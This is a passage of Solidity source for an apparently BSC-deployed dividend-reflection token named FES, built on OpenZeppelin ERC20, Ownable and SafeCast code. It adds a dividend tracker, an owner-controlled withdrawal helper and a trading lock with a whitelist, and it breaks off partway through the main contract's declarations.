`uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int) { if(!map.inserted[key]) { return -1; } return int(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint) { return map.keys.length; } function set(Map storage map, address key, uint val) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint index = map.indexOf[key]; uint lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns(uint256); } /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns(uint256); /// @notice Distributes ether to token holders as dividends. /// @dev SHOULD distribute the paid ether to token holders as dividends. /// SHOULD NOT directly transfer ether to token holders in this function. /// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0. function distributeDividends() external payable; /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed( address indexed from, uint256 weiAmount ); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount ); } /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SignedSafeMath for int256; using SafeCast for uint256; using SafeCast for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { } /// @dev Distributes dividends whenever ether is paid to this contract. receive() external payable { distributeDividends(); } /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividends() public override payable { require(totalSupply() > 0); if (msg.value > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (msg.value).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, msg.value); totalDividendsDistributed = totalDividendsDistributed.add(msg.value); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(payable(msg.sender)); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); (bool success,) = user.call{value: _withdrawableDividend, gas: 3000}(""); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256() .add(magnifiedDividendCorrections[_owner]).toUint256() / magnitude; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256() ); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } } contract FESDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SignedSafeMath for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("FES_Dividend_Tracker", "FES_Dividend_Tracker") { claimWait = 86400; minimumTokenBalanceForDividends = 100000000 * (10**18); //must hold 100000000+ tokens } function _UpdateMinimumTokenBalanceForDividends(uint256 NewminiMumTokenBalanceForDividends) public onlyOwner { minimumTokenBalanceForDividends = NewminiMumTokenBalanceForDividends; } function _transfer(address, address, uint256) internal pure override { require(false, "FES_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public pure override { require(false, "FES_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main FES contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "FES_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "FES_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if(index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } } contract SafeToken is Ownable { address payable safeManager; constructor() { safeManager = payable(msg.sender); } function setSafeManager(address payable _safeManager) public onlyOwner { safeManager = _safeManager; } function withdraw(address _token, uint256 _amount) external { require(msg.sender == safeManager); IERC20(_token).transfer(safeManager, _amount); } function withdrawBNB(uint256 _amount) external { require(msg.sender == safeManager); safeManager.transfer(_amount); } } contract LockToken is Ownable { bool public isOpen = false; mapping(address => bool) private _whiteList; modifier open(address from, address to) { require(isOpen || _whiteList[from] || _whiteList[to], "Not Open"); _; } constructor() { _whiteList[msg.sender] = true; _whiteList[address(this)] = true; } function openTrade() external onlyOwner { isOpen = true; } function includeToWhiteList(address[] memory _users) external onlyOwner { for(uint8 i = 0; i < _users.length; i++) { _whiteList[_users[i]] = true; } } } contract FES is ERC20, Ownable, SafeToken, LockToken { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; FESDividendTracker public dividendTracker; uint256 public maxSellTransactionAmount = 100000000000000 * (10**18); uint256 public swapTokensAtAmount = 2 * 10**6 * (10**18); uint256 public ETHRewardsFee; uint256 public liquidityFee; uint256 public totalFees; uint256 public extraFeeOnSell; uint256 public marketingFee; address payable public marketingWallet; // use by default 300,000 gas to process auto-claiming dividends uint256 public gasForProcessing = 300000; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; mapping(address => bool) public _isBlacklisted; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensIntoLiqudity, uint256 ethReceived ); event SendDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, 